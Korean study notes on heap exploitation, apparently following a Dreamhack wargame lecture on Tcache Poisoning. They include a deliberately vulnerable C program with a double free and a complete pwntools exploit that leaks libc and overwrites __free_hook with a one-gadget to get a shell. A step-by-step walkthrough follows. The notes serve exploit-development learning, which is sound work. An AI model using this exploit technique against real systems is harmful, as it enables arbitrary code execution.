free list에 중복으로 연결된 청크를 재할당하면, 그 청크는 해제된 청크이자, 할당된 청크다. 이를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있고, 그 청크르 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있게 된다. 이를 Tcache Poisoning이라 한다.
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install elftools -v 1.1.3
RUN gem install one_gadget -v 1.9.0
WORKDIR /root
$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash
할당된 청크이자 해제된 청크는 중첩 상태에 놓여있다. 이 청크의 fd와 bk는 조작이 가능하며 이를 통해 free list에 임의 주소를 추가할 수 있다. ptmalloc2는 free list의 청크를 우선적으로 반환하므로 이를 이용해 임의 주소에 청크를 할당할 수 있다.
위의 원리를 이용하여 두 가지가 가능하다.
(1) 임의 주소 읽기(Arbitrary Address Read, AAR)
(2) 임의 주소 쓰기(Arbitrary Address Write, AAW)
아래 코드는 드림핵 워게임의 소스코드다.
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}

셸코드 실행/GOT overwrite은 NX와 RELRO 때문에 적용이 힘들다. 따라서 훅을 덮는 공격을 고려할 수 있다.
case 2:를 보면 청크를 해제하긴 하지만, 초기화는 해주고 있지 않다. 즉 Double Free 취약점이 존재한다.
case 4:를 통해 해제된 청크의 데이터를 조작할 수 있다. Double Free로 free list인 tcache에 중복으로 연결, 그 상태에서 임의 주소에 청크를 할당한 후 값을 쓰면 임의 주소 쓰기가 가능하다. 그리고 임의 주소에 청크를 할당한 후 값을 읽으면 임의 주소 읽기가 가능하다.
key를 조작한뒤 다시 청크를 해제하여 Tcache Duplication을 일으킨다. 그 상태에서 다시 청크를 할당하고 원하는 주소를 값으로 쓰면, tcache에 임의 주소를 추가할 수 있다.
IO_2_1_stdin 혹은 IO_2_1_stdout을 읽으면 그 값으로 libc의 주소를 계산할 수 있다.
Libc 매핑 주소를 알면 원 가젯의 주소와 __free_hook의 주소를 계산할 수 있다. Tcache Poisoning으로 훅 변수에 청크를 할당하고, 그 청크에 적절한 원 가젯의 주소를 입력하면 free를 호출하면서 셸을 획득할 수 있다.
아래는 드림핵 강의의 예시 익스플로잇 코드다.
from pwn import *
p = remote('host3.dreamhack.games',11133)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def slog(symbol, addr): return success(symbol + ': ' + hex(addr))
def alloc(size, data):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b':', data)
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()
# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')
# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`
print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432
slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)
# Overwrite the `__free_hook` with the address of one-gadget
# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty
# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()
# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()
# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))
# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)
# __free_hook = the address of one-gadget
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
시나리오는 다음과 같다.
(1) 0x40 크기의 청크 A를 할당한다.
(2) 청크 A의 할당을 해제한다.
(3) 아직 chunk 포인터는 청크 A를 가리키는 dangling pointer이므로 이를 이용해서 할당 해제된 청크 A의 next(fd) 그리고 key(1비트만)을 조작한다. -> 우회 준비
(4) 이제 다시 청크 A를 해제해도 한번더 해제가 된다. 이때 free list의 구성은 다음과 같다.
| 청크 A | 청크 A` |
(5) 같은 0x40 크기의 청크 할당을 요청하면서 데이터 영역에 stdout의 주소를 작성한다. 청크 A는 데이터 영역에 stdout의 주소를 가진채로 할당이 이뤄진다.
(6) 하지만 그와 동시에 청크 A는 free list에 존재하기도 한다. 할당된 청크의 관점에서, 청크 A는 stdout의 주소를 데이터 영역에 담고있으나, free한 청크의 관점에서, 청크 A는 next, 다음에 최우선적으로 할당될(같은 크기에 한해서) 청크를 가리킨다.
(7) 그래서 한번더 'B...'를 할당한다. 이러면 free list에는 stdout 주소를 데이터 영역 시작점으로 같는 청크가 맨 앞으로 온다.
(8) 이제 한번더 같은 크기의 메모리 할당을 요청하고 이를 출력하면 stdout 주소에 담긴 라이브러리 내 변수의 위치를 leak 할 수 있다. 다만 할당을 요청하면서 stdout의 값을 수정해서는 안되기 때문에, 최하위 1바이트와 같은 값을 쓰면서 할당을 요청하면 된다.(참고로 ASLR이 적용되더라도 최하위 3글자는 변하지 않는다.)
(9) 할당과 해제에는 초기화 과정이 없기에 출력 요청을 하면 방금 할당 요청한 1바이트가 아닌, stdout이 담고 있는 주소 그대로가 출력된다.
(10) 이를 이용해서 libc_base를 구하고, 원 가젯, __free_hook의 주소를 구하면 된다.
(11) __free_hook을 원 가젯 주소로 변경하면된다.
(12) 이제 (1)에서 (4)를 반복한다. 크기는 다른 크기로 하자.
(13) (5) ~ (7)을 한다. 이젠 stdout가 아닌 __free_hook을 '수정' 하므로 훅 변수를 fd에 써주자.
(14) (8)을 한다. 이번엔 훅 변수를 그대로 읽는게 아니라 수정하는 것이므로 원 가젯을 쓰면서 할당 요청을 한다.
(15) 이제 free를 실행하면 원 가젯이 실행될 것이다.